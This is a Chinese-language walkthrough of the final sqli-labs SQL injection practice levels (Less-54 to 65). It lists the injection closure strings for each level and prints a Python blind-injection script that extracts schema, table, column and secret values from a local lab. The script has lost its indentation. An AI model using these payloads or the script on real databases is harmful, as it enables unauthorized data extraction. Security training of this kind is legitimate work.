Page4終章以为会很难,结果就是限定注入次数,其他和前面一样,虽然很接近现实注入,但是还是可以采取一些手段来‘无限’注入,比如代理,脚本等。。。
Less-54~57
这4关都是使用联合查询注入,so easy。。。
Less-54
闭合方式:id=1'--+
Less-55
闭合方式:id=1)--+
Less-56
闭合方式:id=1')--+
Less-57
闭合方式:id="--+
Less-58~61
这4关都是使用报错型注入,,,,
Less-58
闭合方式:id=1'--+
Less-59
闭合方式:id=1--+
Less-60
闭合方式:id=1')--+
Less-61
闭合方式:id=1'))--+
Less-62~65
这4都是盲注,写写脚本就好了,,,
Less-62
闭合方式:id=1')--+
Less-63
闭合方式:id=1'--+
Less-64
闭合方式:id=1))--+
Less-65
闭合方式:id=1")--+
还是写了个脚本,前面都可以用的,
import requests
import sys
def u(index,asc):
url_start='http://127.0.0.1/sqli-labs/Less-65/?id=1")and'
url_end='--+'
url_select='(ascii(mid((select group_concat(secret_AO2C)from challenges.LMFZWPHL9J'+'),'+str(index)+',1))>'+str(asc)+')'# 这里的表名和字段名都是会变化的,根据自己跑出来的结果更改,跑key
##url_select='(ascii(mid((select group_concat(schema_name)from information_schema.schemata'+'),'+str(index)+',1))>'+str(asc)+')'//跑库
##url_select='(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema='+"'challenges'"+'),'+str(index)+',1))>'+str(asc)+')'//跑表名
##url_select='(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema='+"'challenges'and table_name='LMFZWPHL9J'"+'),'+str(index)+',1))>'+str(asc)+')'//跑字段
url=url_start+url_select+url_end
return url
def url(index,asc):
re=requests.get(url=u(index,asc)).text
if 'Angelina' in re:
return True
else:
return False
def dff(index,left,right)://二分法判断
while left<right:
asc=int((left+right)/2)
if url(index,asc):
left=asc
else:
right=asc
if left+1==right:
if url(index,left):
return right
else:
return left
if __name__=="__main__":
for index in range(1024):
ord1=dff(index,30,126)
if ord1==31:
break
sys.stdout.write(chr(ord1))
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
sqli-labs完结。